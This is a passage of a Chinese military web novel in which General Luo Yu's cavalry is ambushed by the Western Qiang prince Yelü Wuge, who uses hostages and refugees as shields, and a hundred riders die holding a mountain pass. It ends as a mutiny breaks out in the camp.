两军一交手就发现这伙羌兵个个悍勇异常,突然遇袭也没有丝毫混乱,各自迎战,这下更坚定了洛羽的念头:
耶律乌戈就在这!
“是乾军主力!外围还有骑兵!”
“妈的,保护殿下后撤!”
“快!”
“给我拦住乾军!”
慌乱中的羌兵喊出了殿下二字,洛羽的眼眸陡然明亮,朝着人多的地方一路冲杀,越往村子里冲越能感受到羌兵反抗的激烈。
远远他就看到打谷场中大批羌兵正在翻身上马,人群中真有一位并未披甲的长袍男子,被重重护卫在中央。
洛羽想也不想,怒声一吼:
“耶律乌戈!”
那人本能地转过头来,虽然隔着老远,但能依稀看见面庞轮廓,与画像极为吻合,更重要的是此人自带一股傲气,给人一种目空一切的感觉。
洛羽无比确定,此人一定是耶律乌戈!
四目相对,两人遥遥相望,没有任何言语,但双眸中都升起了一股类似于宿敌的杀意。
“走!”
耶律乌戈没有逗留,在一众精锐骑兵的护卫下往外突围,来不及上马的羌兵并不怯懦,反而死死拖住阙州军伍,尽可能地给耶律乌戈争取时间。
皇子亲兵,果然勇猛。
正如先前所说,张家屯的地势不适合打围歼战,还不等大队骑兵整个围住村子,羌兵就一路突出了村口,眨眼间就钻进了夜色。
蒙虎气的破口大骂:
“妈的,耶律乌戈属兔子的吧,跑这么快!将军,怎么办!”
“当然得追啊!”许韦拎着一把刀气势汹汹的说道:
“既然被咱们撞见了,就不能轻易让他逃了!”
“总感觉不太对劲啊。”
众人杀气腾腾,可洛羽却眉头紧皱,心中有疑问在一瞬间闪过,堂堂九皇子为何要如此孤军深入险地?
会不会真的有诈?是撤还是追?
但很快他的目光就狰狞起来:
“逮到个皇子不容易,富贵险中求!给我追!”
第194章两支箭、两条命
“驾!”
“轰隆隆!”
几百骑在前狂奔,三千黑甲紧追不舍,洛羽死死咬住耶律乌戈,一口气追出了十几里,天都亮了。
初阳渐渐跃出云层,东方泛白,树叶枝丫上挂满了晨霜。
追着追着双方就进入了一处山谷,两侧皆是密林土坡,中间的山道弯弯扭扭,并不宽阔,三千人的庞大骑阵被迫改成了一字长蛇阵涌入谷道。
在进入山谷的那一刻洛羽莫名觉得一阵恍惚,皱着眉头观察四周的环境,山林中静悄悄的,大批骑军涌入却不见有飞鸟惊起,而远处的羌兵依旧在策马狂奔,总给他一种古怪的感觉。
“不太对劲。”
出于军人对危险的敏锐嗅觉,洛羽猛然一扯缰绳,手掌一抬:
“全军停马!”
“嘶嘶嘶!”
虽然不明就里,但令行禁止的军规早已刻在了骨子里,大批骑军急速停马,山谷中回荡着阵阵战马的嘶鸣,前锋刚刚停稳,对面山谷迎风射来一波密集的箭雨:
“嗖嗖嗖!”
“嗤嗤嗤!”
上百支箭矢稳稳地插入地面,裸露在沙土之外的箭尾高速抖动,让最前面的骑兵面色微变。
但凡他们的动作慢一拍,现在这些箭矢就插在自己身上了。
真有埋伏!
“全军戒备!准备迎战!”
“轰!”
长途奔驰之后略显混乱的骑阵迅速汇集在一起,马背上的精悍军卒们努力调整呼吸,目光凌厉地注意周围,随时准备应付突发的变故。
“轰隆隆!”
震耳欲聋的马蹄声渐渐回荡,前后山谷皆有大队羌骑奔涌而出,一眼望去人山人海,绝不下五千之众,将阙州三千骑兵牢牢困在谷中。
洛羽和蒙虎的面色铁青,目光冰寒。
中计了!
正前方竖起了一面硕大的将旗,大书“赤那”二字,迎风飘扬,万户猛安赤那台领兵亲至,但洛羽很清楚,指挥此战的乃是西羌九皇子!
耶律乌戈策马阵前,讥讽一笑:
“洛将军追得可爽?”
洛羽面无表情地回道:
“不愧是西羌九皇子啊,胆魄过人,竟然不惜以自己为诱饵引我上钩。”
洛羽考虑过这次情报可能是羌兵的圈套,又或者羌兵会派人伪装成九皇子,但他千算万算也没算到耶律乌戈带着区区几百骑就敢将自己置于危险之中。
若不是亲眼见到耶律乌戈,洛羽怎么可能一路穷追不舍。
西羌的皇子都这么不怕死吗?
看来险中的富贵不好求啊。
“我大羌以武立国,怕死的皇子可活不到成年。”
耶律乌戈微微一笑:
“其实我本来只想引出你麾下的阙州第一营,杀你一员悍将助助兴。没想到洛将军也一起来了,倒真是意外之喜啊,哈哈!”
洛羽终于明白了,蒙虎那日的强悍表现让羌兵心生忌惮,所以耶律乌戈才想出此计,打算吃掉第一营。
耶律乌戈语气轻挑:
“只用一个糟老头子就围住了三千悍卒,轻松得超乎想象。啧啧,洛将军也太信任这些老百姓了。”
“妈的!原来是那个老东西!”
蒙虎瞬间明白是张老汉骗了他们,怒从心生:“把那个老家伙给我拉出来!”
张老汉一路都被骑军带着,浑身发抖的往地上一跪,砰砰磕头,从头到尾就是一句小人该死。
“为什么!你可是乾人,你的儿子也死在他们手里!杀子之仇啊!
为何要帮这些羌贼害我们!老子是来救你们的!”
被一个普普通通的老百姓给骗了,蒙虎不仅愤怒,更多的是想不通,定州百姓为何要帮助滥杀无辜的羌人?要知道对面那些羌兵亲手毁了他们的家园,与陇西百姓有血海深仇!
得亏是个老头,不然蒙虎现在就得一枪捅死他。
“小人该死,小人真的该死!”
张老汉的额头都磕出了血,痛哭流涕,眼眸中带着深深的自责,哀嚎道:
“小人没办法啊,我都是被逼的!小人的孙女被他们抓了,如果我不按羌人说的做,他们就要将我孙女砍成八块挂在村口。
我一把老骨头死了不要紧,可我的孙女才十四岁,十四岁啊军爷!儿子已经死了,孙女是我唯一的亲人了。
我只想让她活下去!”
“各位军爷,是我对不起你们,是我该死,可我孙女不该死啊!”
老人朝着身边的每一名骑兵磕头,磕得脑门全是血,一声声地念叨着只想让孙女活下去。
将士们愤怒吗?自己的同胞帮助羌贼、还得三千精骑被包围他们当然愤怒。
可对于张老汉而言,什么家国天下、什么保境安民都不如自己的孙女重要,那是他唯一在世的亲人,是老人这辈子仅存的希望。
阵前死一般的寂静,极度压抑。
“老头,你的孙女我放了,本殿从不食言!”
羌兵阵前多了一名小女孩,穿着极为朴素的麻衣,瘦瘦巴巴的脸上带着惶恐。
耶律乌戈轻笑着推了推女孩:
“去吧,去找你爷爷。”
小女孩瞪大了眼眸,远远就看见一张熟悉的面庞,迈开脚丫跑了出去:
“爷爷!爷爷我怕!”
“小花别怕,爷爷来了!”
老人心神一颤,见没人管他,踉踉跄跄的迈开双腿,苍老的双腿每迈出一步都要抽空浑身的力气。
“爷爷!”
“小花!”
数千骑军肃穆不动,山谷中只有一老一小的呼声回荡,两道人影越跑越近,即将的团聚终于让张老汉的脸上出现了一抹凄惨的笑容。
这是他用背叛换来的团聚。
“不要怕,让爷爷抱抱。”
老人张开了双臂,期待着孙女一头扎进他的怀里。
“嗖!”
“噗嗤!”
就在女孩即将扑进老人怀里的一刹那,一支利箭从天而降,贯穿后背,鲜血飞溅。
“爷,爷爷。”
女孩瞳孔骤缩,一个踉跄栽进了爷爷的怀中,眼眸中的生机迅速消散,吐出几口鲜血后便没了呼吸。
这一刻,所有阙州骑兵都觉得胸口被人拿刀狠狠得扎了一下,心痛如绞。
“小,小花,爷爷来晚了,来晚了。”
老人抱着孙女的尸体瘫倒在地,没有愤怒的嘶吼,没有凄惨的哭声,只有无穷的绝望。
苍老的手掌沾满了血迹,原本还带着希望、喜悦的眼眸迅速被麻木和茫然填满。
唯一的亲人死在面前,这种痛苦谁人能懂?往后的日子再无盼头。
“唔,我只说了放人,可没说不杀人。”
耶律乌戈笑眯眯地放下手中弓弩,满心舒畅,他特别喜欢这种掌控别人生死的感觉。
沉默。
山谷中陷入了长久的沉默,随之而来的便是老人悲愤欲绝的嘶吼:
“洛将军,我对不起兄弟们,下辈子我给你们当牛做马!”
“遭天杀的羌贼!我草你十八代祖宗!你们不得好死!”
“嗖!”
又是一支箭。
又是一条命。
一直到死,老人都紧紧抱着孙女,从未松开手臂。
“呼。”
洛羽吐出一口长长的浊气,轻提长枪:
“该我们了。”
秋风吹过,杀意四起!
第195章随我陷阵!
一老一少的尸体逐渐变得冰冷,山谷中的杀意却越发浓郁。
双方各自列阵,摩拳擦掌,战意在士卒的胸膛中燃烧。
羌兵足有五千之众,两千人堵在身后,三千人挡在前方,阙州军深陷死地。
但死地不意味着绝境,在洛羽看来羌兵选择的伏击地点并不好。山谷狭窄,双方骑兵都不可能完全铺开锋线,只能以长蛇阵互相对冲,西羌的兵力优势无形中会被削弱。
五千骑罢了!三千悍勇未必不能一战!
洛家军之勇,谁人可挡!
耶律乌戈立马阵前,朗声喝道:
“洛羽,本殿喜欢你这样的人才,如果你降,今日可免一死!
入我麾下,我保你日后平步青云,扶摇直上!”
洛羽根本不屑于回答,只是抬手一挥:
“竖旗!”
“呼啦啦!”
硕大的洛字玄旗高举空中,在秋风的吹拂下猎猎作响,帅旗立起的这一刻,所有将士的眼中只剩杀意,再无半点慌乱。
耶律乌戈嘴角微翘:
“不知死活。”
赤那台心领神会,策马向前,讥讽道:
“什么阙州第一营,什么洛家精锐,今日就让你们变成森森白骨!”
蒙虎咬牙切齿地握紧枪杆:
“将军,赤那台交给我,您率兵拦住身后之敌。人家指名道姓的点我第一营,我总不能当个缩头乌龟吧?”
“好,你自己小心。”
洛羽没有拒绝,带着一千亲兵去了山后,他很清楚蒙虎的性子,这种时候若是不让他上,他能懊悔一辈子。
两千悍卒缓缓铺开锋线,堪堪二三十骑一排,略显拥挤,他们还是头一次在这种地势下展开骑战。
蒙虎怒喝一声:
“将军曾经说过,狭路相逢勇者胜!今日咱们就要和羌人比比,谁才是勇者!”
“杀,杀,杀!”
全场怒声嘶吼,人人不惧。
本以为接下来便是两军对冲,互相凿阵,可紧跟着的一幕却出乎了所有人的预料!
羌兵将数以百计的定州难民推到了军阵前方,人人衣衫褴褛、惶恐不安,老弱妇孺都有。
“羌兵想干什么?”
蒙虎眉头微皱,心中隐隐浮现出一抹不安。
马背上的赤那台一挥马鞭:
“算你们这些贱民命大,今日殿下心情好,愿意放了你们。对面就是阙州军,去吧,去找你们的同胞!”
百姓们面面相觑,谁也不敢动弹,羌兵会这么好心放了他们?
“走!谁不走就是死!”
赤那台冷喝一声,一名羌兵直接拔刀砍死了马旁的难民,鲜血淋漓的尸体让老百姓们慌了神,接二连三地迈动脚步向对面走去,有些胆子小的双腿都在打哆嗦。
几百号难民刚走出几十步,赤那台的嘴角就勾起了一抹阴笑的笑容,手掌轻抬:
“弓弩手预备!”
“放!”
“嗖嗖嗖!”
一波箭雨迎风射出,当场就射杀了十几名老百姓,有的正中额头、有的射中腰腹,倒在地上痛苦的哀嚎。
突然的杀戮让老百姓们瑟瑟发抖,不知是谁尖叫了一声:
“跑,快跑啊!”
难民不再慢吞吞的走,而是玩命的跑,他们知道只有跑得快才能躲开箭雨,博一条活路!
箭矢宛如死神的丧钟,不断有难民被一箭贯穿头颅,血花四溅。
有老人不甚摔倒,被后方人群活生生踩死;有母亲怀抱婴儿,无力狂奔,只能踉跄着跟在队伍的最后方……
这场面,悲惨至极!
“妈的,奸贼!卑鄙无耻下流!”
蒙虎只一瞬间就明白了赤那台的用意:
山谷狭窄,老百姓们在中间乱跑,己方骑兵根本就冲不起来,除非你踩着老百姓的尸体杀过去;
而羌兵肯定不会管难民的死活,等难民逼近阵前时他们一定会开始冲锋。
骑兵凿阵,最重要的是什么?
不是枪法不是阵型,第一要紧的是战马的冲击力!那是骑兵最大的倚仗!
待会儿羌兵将速度提到了极致,乾军却与老百姓混在一起,这仗怎么打?
后方的洛羽同样注意到了这一幕,他终于知道耶律乌戈为何选择此地伏击了!他要用老百姓冲散己方军阵!
“蒙虎,只能靠你了!”
洛羽悍然杀入敌阵,此刻他只想着尽快打垮羌兵,转身增援蒙虎。
“啧啧,好壮观的场面啊!”
耶律乌戈漫不经心的捋着衣袍:“本殿出手,你们只有死路一条!”
真被蒙虎猜中了,老百姓狂奔的同时,羌兵也开始缓缓向前推进,战马逐渐提速。
阙州第一营的骑兵们全都面色铁青,如此卑鄙的打法他们倒是头一回见!
怎么办?
冲锋?冲锋就只能踏着老百姓的尸体冲过去,羌兵可以不顾定州百姓的生死,但他们真的做不到。
不冲?那待会儿百姓扑过来的时候就会扰乱己方阵型,羌兵再紧跟着一冲,大家都得死!
进退两难。
身为主将的蒙虎仅仅迟疑片刻便喝道:
“先派百骑出战!谁敢随我走一趟!”
所有人都猜到了蒙虎想干什么:
大队骑阵无法冲锋,但百十号散骑还是可以穿过人群的。所谓的百骑先战,就是先用一百人拖住羌兵,坚持到老百姓退到骑阵后方,主力再开始结阵前冲。
这是眼下最好的办法,代价就是先行百骑将会陷入羌兵的人海中,几乎必死无疑!
“隆隆。”
“轰隆隆。”
羌马轰鸣,难民越发惊慌失措,人人撒开脚丫子狂奔,互相践踏,场面极为混乱、残忍。
蒙虎怒喝一声:
“百骑!谁敢!”
“轰!”
全军上下同时往前迈了一步。
皆愿一战!一死何惧!
“哈哈,好!不愧是我带出来的兵!”
蒙虎仰天大笑,随即喝道:
“最前方百骑随我出战!剩下的让开道路,放百姓过去,而后结阵冲锋!”
“诺!”
话音刚落,蒙虎就瞄到了侧边一名壮硕的男子,犹豫了一下:
“魏野,你留下。”
魏野,蒙虎手下的第一都尉,同时也是当初鸡鸣寨出来的老兄弟,两人一起出生入死不知多少次了。
男子板着脸问了一句:“为什么?”
“我让你留下你就留下!”
蒙虎急了,两个月前魏野的儿子刚刚出生,他这个当爹的只见了儿子一面便出征定州。
蒙虎不想孩子刚出生就没了爹。
魏野面无表情地说道:
“刚刚您下过军令,前方百骑出战,卑职正在此列。
军令既出,便不可更改!
我阙州男儿何惧一死!”
“你!”
“轰隆隆!”
马蹄声越发响亮,羌兵已经冲过了小一半的路程,而乾军还没动弹,情况越发危急。
“妈的!那你就多长点心!”
蒙虎顾不得多想,挺枪向前:
“出战!”
百骑出阵,呈散兵线好不容易穿过逃难的人群。
老弱妇孺的哭喊声令他们心痛如绞,满腔怒火都化成了熊熊战意。
区区百人面对数以千计的敌军犹如大江中的一叶扁舟,摇摇欲坠却又显得锐不可当。
蒙虎冲锋在前,满脸狰狞,怒吼一声:
“将士们,随我陷阵!”
百骑同时抬枪,震天一吼:
“杀!”
第196章百骑当关,万夫莫开
百骑硬撼三千敌!
任你大浪滔天,一叶扁舟也敢勇往直前。
蒙虎浑身上下杀气毕露,率先凿阵:
“喝!”
“噗嗤!”
一杆长矛斜刺,犹如蛟龙出水,瞬间洞穿对面羌骑的胸口。羌兵眼眶一突就死了,临死前的眼神无比震惊,为何此人的枪会这么快?
枪尖入体,蒙虎浑然没有收手的意思,手臂再度加力,挑着死尸狠狠往后一捅,长枪破体而出,又捅死了身后一骑。
两具尸体就像是糖葫芦,被血淋淋的枪杆串成串,轰然掉落地面。
周遭三四名羌兵见蒙虎如此凶猛,联手攻来,枪尖排成一串刺向心窝。蒙虎浑然不惧,眼眸中杀意大涨,横握长枪一记秋风扫落叶挥了出去,几杆长枪同时发力竟然直接被蒙虎砸断,几名骑兵齐刷刷吐血倒飞,场面一片混乱。
“杀!”
“砰砰砰!”
“噗嗤噗嗤!”
百骑紧随蒙虎身后凿阵,二十骑一排,刚刚好封死整条山谷,人人奋勇,眼神无比坚定,抱着必死的决心。
这一次蒙虎没有不断往敌阵深处冲杀,而是直接挡在了骑阵前方,就地展开混战,坚决不放一名羌骑过去。
他们要做的不是冲锋陷阵,而是用自己的命来拖延一点点时间,哪怕只有十息。
从高空俯视,羌军骑阵就像是大江滚滚撞在了岸堤,再也无法前进一步。
这一幕让耶律乌戈略显诧异:
“勇气倒是可嘉,但想凭借一百骑拦住我三千悍卒,无异于痴人说梦!”
金戈铁马的碰撞、愤怒滔天的嘶吼、血肉纷飞的可怖交织出一幕血腥的战场场面,整个山谷都被瘆人的杀意所笼罩。
两军交锋的同时,第一营主力在拼命地招呼百姓躲到身后,一些骑兵直接下马,扶着老人抱着小孩就往山谷中间跑。他们每争取一息时间前方就能少死一个人。
身前是赤那台,背后还有来两千敌军堵截,山谷中间成了唯一还算安全的地方。
逃难中的百姓被漫天嘶吼声所吸引,纷纷扭头回望,惨烈的厮杀让很多人热泪盈眶,身形止不住地颤抖。难民们很清楚,这支百人骑兵是替他们去死的。
“杀!”
“噗嗤!”
一边是拼死拦截的陷阵悍卒、一边是急着屠杀乾军的羌兵,双方一交手便杀红了眼,几乎每一刻都有骑军被捅落下马、血溅当场。
身为万户猛安,赤那台自然也是西羌悍将,一枪捅死阙州军卒之后还狞声喝道:
“给我杀光他们!”
“一个不留!”
一百人阻击三千骑,堪称惨烈。
只见蒙虎身侧一骑在阵斩三名羌兵之后被一枪捅穿胸膛,连惨叫都没有就直接毙命。
还有一人,正拼杀在前,与羌兵近身肉搏,还不等下一刀挥出就有一支流失射进了他的脑袋,血浆迸射而出,惨不忍睹。
“石头!”
蒙虎牙呲欲裂,因为他眼睁睁看着手下在肉搏激战中被撞下马背。
石头和其他士卒有些不同,因为他和蒙虎是同乡,关系很好。第二次云阳关之战后石头才投入军中,但在与李家的战事中表现神勇,一路升任标长,蒙虎十分看好他。
栽落在地,长枪脱手,石头依旧没有放弃,抽出苍刀拼命地朝羌兵的马蹄砍去,嘶吼道:
“虎哥,我娘就拜托你了!”
“砰!”
下一刻,马蹄就撞在了他的头上,鲜血不断往下流,当场往后一倒,眼神迅速昏暗。
“石头!石头!”
蒙虎青筋暴涨,拼了命地往这里冲杀,别看只有几步之遥,可却挡着数不清的敌军。
眼帘已经被鲜血糊得看不见了,石头颤抖着手臂挥出了最后一刀,怒声嘶吼:
“该死的羌贼!洛字旗下没有孬种!”
数不清的马蹄一踏而过,将石头踩得血肉模糊,留下的最后一句话让所有阙州军卒都像疯了一般,再也不顾及什么阵型,只是不停地砍,长枪崩断了就换弯刀,苍刀砍卷了就用拳头。
在外人看来两军交锋的时间很短,但对拼死拒敌的第一营军卒来说每一分每一秒都极为漫长。
一百骑,二十人一排,第一排打光了第二排补上,一个接着一个,明知是死也前赴后继地杀进敌阵,奋力挥枪,直到战死的那一刻。
伤亡早已过半,全军上下始终无一人退缩,全都朝前战死。
自始至终,蒙虎与魏野二人都顶在最前方,杀得浑身血污,马蹄下躺满了死尸。
二人算是第一营军衔最高的了,没有像李家将校那样躲在最后面,而是冲杀在前,为全军陷阵!
蒙虎如有神助,大杀四方,但凡敢靠近身侧的羌兵尽数被一枪捅死,魏野的武功要差些,在接连阵斩七八名敌骑之后终于力竭,被羌骑戳中大腿,一头栽下马去。
蒙虎双眼血红,破口大骂:“魏野!你他妈的别死了!你死了谁陪我喝酒!”
栽落下马的魏野没有放弃,左手抓住枪杆一扯,直接将羌兵拽了下来,右手顺势拔刀,狠狠在脖颈处一割,鲜血喷射而出。
“呼呼。”
精疲力竭的魏野不停地喘着粗气,中枪的右腿不停发抖:
“虎哥,我,我儿子也得拜托你照顾了!”
“去他娘的,我不照顾!都他妈让我照顾,我哪儿忙得过来!”
蒙虎的眼中不知道是汗水还是泪花:
“是男人就自己养活娘儿两!”
魏野没有吭声,只是双手握刀,恶狠狠的瞪着前方,一名羌骑已经策马冲来,目光狰狞,枪尖夹杂着必杀之意。
他知道自己挡不下这一枪,只能用最后的力量跟羌兵同归于尽。
枪尖袭来的那一刻,魏野咬牙切齿的嘶吼道:
“死又何妨!”
“喝!”
“砰!”
“噗嗤!”
预想中的同归于尽并未出现,一名披着黑甲的骑兵猛然从身后杀出,一枪捅死了羌骑,连人带马撞飞出老远。
紧跟着就是数不清的黑甲骑军冲入战场,狠狠地凿进羌兵阵中。
魏野愕然,想明白之后朝蒙虎咧嘴一笑:
“没,没死。”
蒙虎心头大定,主力终于到了!
别看他们拖住羌兵的时间不长,实际上就这么片刻的功夫足以决定一场战争的胜负!
羌兵利用地利和数百难民制造出来的巨大优势硬生生被拖垮了。
“杀!”
每一名骑卒的眼中都带着滔天杀意,犹如猛虎下山,锐不可当,刚才还嚣张不已的羌军愣是被打得抬不起头。
一直以为胜券在握的耶律乌戈终于冷了脸,脸皮发紧:
“好啊,好一个蒙虎,好一个阙州第一营!”
“该死的!”
他很清楚接下来就算能赢,己方也会损失惨重,辛苦筹谋的计策变成了无用功。
“报!”
“殿下,紧急军情!”
正当耶律乌戈脸色阴沉的时候,一骑快马飞驰来报:
“五里外发现阙州骑军,数千之众,尽悬洛字军旗,正朝此地急速行军!”
“唉,他们的主力援兵到了。”
耶律乌戈自嘲一笑:
“功亏一篑啊,罢了。”
“传令,撤军!”
第197章一将功成万骨枯
羌兵撤了,山谷中重归宁静。
横七竖八的死尸随处可见,沙石都被染成了血红色,瑟瑟不安的百姓们蜷缩在角落里,目光中的惊恐始终没有散去。
激战许久的将士们在打扫战场,每个人的脸上都写着悲愤与低沉。
你要说输,这一仗似乎也没输,羌兵并没有讨到大便宜,只因为有了一百骑的拼死血战。
没有他们拒敌,那赤那台便会轻而易举地击垮第一营主力,继而前后夹击,围歼洛羽所部。
就算不是全军覆没,也定会损失惨重。亲兵营和第一营三千人都是洛羽的精锐家底,一战尽丧将会对军心士气带来毁灭性的打击,甚至影响整个战局。
破了危局,代价是一百骑几乎死绝。
除了蒙虎、魏野,还能喘息的军卒只剩十七人,人人负伤,浑身血污。
战死军卒的尸体已经被收容到一起,刀伤、箭伤、枪伤什么死法都有。有些尸体手中还紧握着卷刃的钢刀,指节因过度用力而泛白;几匹战马跪卧在主人身旁,发出低沉的哀鸣。
战死的军卒几乎都是年轻人,大多被马蹄践踏得面目全非,只有腰间残缺的腰牌还能证明身份。
蒙虎一直瘫坐在尸体旁,像是在发愣,久久不语。
不远处的百姓鸦雀无声,一名小女孩死死抓住母亲的衣角,她不明白死亡是什么意思,但刚刚军卒们视死如归的样子让她觉得是天神下凡来救他们了。
洛羽守在身边,在他看来蒙虎的表现堪称完美,短时间内就做出了最佳决定,扭转了必败之局,就算换他来指挥第一营也无法做得更好。
“轰隆隆!”
马蹄声骤起,大批黑甲骑军涌入山谷,看旗号乃是曹殇与吕青云两营。
两营军卒见到如此场景同样感到悲伤,没有嘈杂,只有愤怒,很自觉地下马帮忙打扫战场。
萧少游一路疾驰来到洛羽身边,浑身风尘仆仆,苦笑一声:
“我刚率军抵达大营君墨竹就拿出了你的军令,我便立刻率军赶来支援。
还是晚了一步啊。”
其实从一开始发现耶律乌戈的行踪洛羽就有一种直觉,此战有鬼,处处透着一股诡异。但他手中无兵可用,只能留下军令让阙州骑兵一到就赶赴战场支援,这样就算突围不成也有援军相救。
“此战责任在我,怪我太冲动了。”
洛羽默然道:
“九皇子啊,能宰了他就是一场大捷,机不可失。”
其实洛羽已经加了几分小心,先是提前准备了耶律乌戈的画像,而后又留下军令让萧少游第一时间驰援。
但架不住耶律乌戈真敢以自己的命为诱饵,还用难民制造出骑兵冲阵的优势。
这位九皇子不可小觑啊。
萧少游轻声劝慰道:
“战场情况瞬息万变,战机更是稍纵即逝,哪能考虑那么多?
拼一把杀了耶律乌戈确实没错,将军不用自责。
比如这位老人,他儿子死在羌兵手里,谁能想到他会反过来帮助羌人。可他有错吗?他也是迫于无奈,为了救孙女的命。
战场之上,没有十拿九稳的胜仗。”
“唉。”
洛羽叹了口气,目光重新落在蒙虎的身上。
粗狂的汉子在哭泣,泪水顺着眼角不停地往下流:
“羽哥,我难受。”
“是我让他们去死的,我明知道一百骑阻敌会死很多人,九死一生,可我只能下令冲锋,别无选择。
明知是死还要让他们去,是我,是我决定了他们的生死。
我真的好难受。”
粗狂的汉子泣不成声,这不是蒙虎第一次见到死人,但这是唯一一次明知必死还要率军出战。
两千人必须要死一百人那是形势所迫,但选哪一百人去死由蒙虎决定,谁不是爹生娘养的,谁没有父母妻儿?凭什么就是我死?
这种抉择刺痛了他的心。
“这是边关,是你死我活的战场!”
洛羽扶住蒙虎的肩膀:“以前你是标长、是百户,是都尉,现在你是校尉,以后你会是将军,领兵千万的大将军。
一将功成万骨枯!
历朝历代,每一位名将都是踩着森森白骨杀出来的。
你要记住,为将者只要做出最正确的决定就够了,死百人,活千人,那就必须死百人!
以战止战,方为正途!”
洛羽的话虽然残忍,却不得不说,蒙虎乃大将之才,悍勇够了,但他的心性还需要历练,需要血与火的浇灌,今日这场恶战过后,他会逐渐蜕变!
蒙虎怔怔然:
“羽哥,那,那这些兄弟会恨我吗?”
洛羽没有回答,而是反问道:
“如果明日大军深陷危局,需要有人去死才能拯救全军将士,我派你去打这一场必死之战,你会恨羽哥吗?”
“不会!”
蒙虎毫不犹豫地喝道:“羽哥只要发话,我一定去!”
“那不就得了。你不会恨我,你手底下的兄弟同样不会恨你。
这么多年,陇西三州饱受羌兵袭扰,屠刀举起之时人命如草芥。与其死得默默无闻,倒不如死得壮烈,死得值得!上了战场,这条命就由不得自己了。
他们不恨你,你也不会恨我。
我们该恨的是羌人!”
“没错,该恨的是羌人!”
蒙虎擦去眼角的泪水,鼓足精神,踉跄着站起身,朝着战死的兄弟砸胸行礼:
“此仇不报,我誓不为人!”
远方数百难民哗啦啦的全跪了下来,一名老者颤颤巍巍地喊道:
“愿将士们安息!”
数不清的人头磕在地面,百姓们泣不成声,以前他们的命贱如刍狗,头一回见到有当兵的愿意救自己而死。
救命之恩,再造之情!
两千悍卒齐齐行礼,苍刀直指半空:
“此仇不报,誓不为人!”
……
羌军临时建起的营地中,耶律乌戈有些闷闷不乐,只觉得胸中憋了一肚子火,刚回来就找美姬泄了泄火。
自己以性命为诱饵引三千骑深入重围,没杀了洛羽不说,竟然连重创都没做到,几乎是无功而返。
回想着山谷之战的一幕幕,耶律乌戈唏嘘道:
“洛羽能一统阙州,连杀完颜康完颜昌不是没有道理的,麾下军卒确实骁勇善战,连我都觉得心惊。”
赤那台觉得有些丢人,愤愤不平:
“这次算他们命大,下次再被末将撞见,定要教他们好看!”
“罢了,战场之上瞬息万变,不到最后一刻谁也不知道胜负。”
耶律乌戈的目光一直盯着地图:
“阙州军的主力都到了?”
“到了,汇合前锋之后总计一万五千兵马,殿下,我们是不是让各路兵马撤回寒山关?”
入关的羌兵很多,但一直以几百上千人的规模四处劫掠,大肆屠杀百姓、抓捕难民,运回草原当做奴隶,实际上耶律乌戈身边只带了几千人。
“为什么要撤回寒山关?”
耶律乌戈冷笑一声:
“我草原精锐以骑兵为主,在城内怎么发挥自己的优势?关外野战才是正途!
召集各路兵马,在敌营二十里外扎寨!咱们好好较量一番!”
“诺!”
耶律乌戈的嘴角勾起一抹轻蔑的笑容:
“洛羽,战争才刚刚开始!”
第198章求洛将军做主
中军大帐里站着两排武将,个个挺胸抬头,身披甲胄。
这是洛羽就任安西将军、指挥陇西战事以来第一次聚众议事,毕竟阙州的主力前天才抵达前线。
左侧萧少游、右侧君墨竹,其余大多是阙州各营校尉,只有两张生面庞:
一位老人满头白发,苍老的面庞上布满了皱纹,君家君沉,算是君墨竹的叔叔辈了,虽说是旁系,但据说老人行伍一生,在君家颇有威望,连君家家主在私底下都得称呼他一声兄长。
另外一位中年男子不姓王,而姓凌,名桐,王家家将,性子随和,很是健谈,每次遇到洛羽都能聊上一阵。
“诸位,这是本将领兵以来第一次升帐议事,议事开始之前有一句话送给大家。”
洛羽环视全场:
“陇西乃西境边关,羌贼屡次进犯,百姓深受其扰、生活困苦。咱们都是陇西人,谁不盼着陇西好?此次西羌九皇子亲自领兵,气势汹汹,咱们若是打输了,陇西三州定会烽火连天,受苦遭殃的不还是咱们自己?
我说得再直白点,为何我们与羌人开战总是输多胜少?真是因为我陇西男儿不如草原蛮族吗?
不!
因为每一次发生战事,陇西三州都是各自为战,号令不明、军卒难归一统,这样的现状必须改变!
此次我与君公子、王公子达成了共识,三州兵马定要齐心协力、并肩杀敌,让羌人明白,陇西不是他们想来就能来的地方!”
冷喝声让众人心头一颤,齐齐抱拳喝道:
“诺!”
“接下来便请君公子先讲讲定州的情况。”
君墨竹应声而出,面色凝重:
“自寒山关被破以来,上万羌兵涌入定州境内,兵分多路袭扰内地,一路烧杀抢掠、无恶不作。根据斥候最新探报,各路羌兵已经开始集结,在咱们正前方二十里处安营扎寨,军中更是竖起了耶律乌戈的皇旗。
看眼下局面,他们似乎不想退回寒山关,而是想和我们在关外野战。”
“很正常。”
君沉微微点头:“羌兵精通骑射天下皆知,野战方能发挥骑兵的最大威力,据城坚守并非上上策。”
“但咱们的目的可是收复寒山关啊,力保边关不失。”
洛羽接过话道:
“所以接下来咱们分三步走:
先击溃当面之敌,迫使羌兵后撤;再进军各地,驱散羌兵游骑;最后会师寒山关外,收复边关!”
“洛将军的安排甚是妥当啊。”
凌桐轻笑道:“只要收复寒山关,咱们便能拒敌于国门之外,打起仗来心里也踏实,百姓们也可免遭羌兵袭扰。”
“话说起来简单,但做起来难啊,三万羌军可不是小数目,我等必须全力以赴!”
洛羽意有所指地说道:
“近日我在营中转了转,觉得定州、并州军卒还需要加以操练方能上战场,所以近期两州兵马就负责练兵,若有战事自会有阙州军出战。”
君沉垂眼抚须,凌桐则低头整理甲胄,显得很是尴尬。两州兵马羸弱他们心知肚明,可兵马是两家家主派的,自己有什么办法?
“那就先这样。”
洛羽竖起一根手指:
“最后我多说一句,这里是战场、是军营,咱们都是军人,所以就该讲军规军纪,不管是哪一州的兵马,入了我的麾下就归我管。
谁敢触犯军规,定依律严惩,决不轻饶!”
众将齐声喝道:
“谨遵将军军令!”
嘴上虽然在附和,但君沉与凌桐二人似乎并不在意,就像是在听一句再平常不过的口号。
这一幕被洛羽尽收眼底,虽有些不悦但也没多说什么。
帐外突然传来一阵嘈杂,隐约夹杂着怒吼和骂声,众人齐齐皱眉,怎么了这是?
岳伍掀帘冲入,甲胄上沾着尘土,气喘吁吁,显然是一路狂奔而来:
“将军!定州军卒哗变!都快打起来了!”
“什么!”
众将大惊失色,大敌当前之际,竟然己方军卒哗变了!
洛羽迈步而出:
“走!去看看!”
……
“兄弟!你冷静一点!不要冲动!”
“滚开!你们都不要过来!老子今天就要杀了这个狗官!”
“别!擅杀军中同袍可是大罪!”
“我呸!这种奸贼还配称为同袍?不杀他不足以泄我心头之恨!”
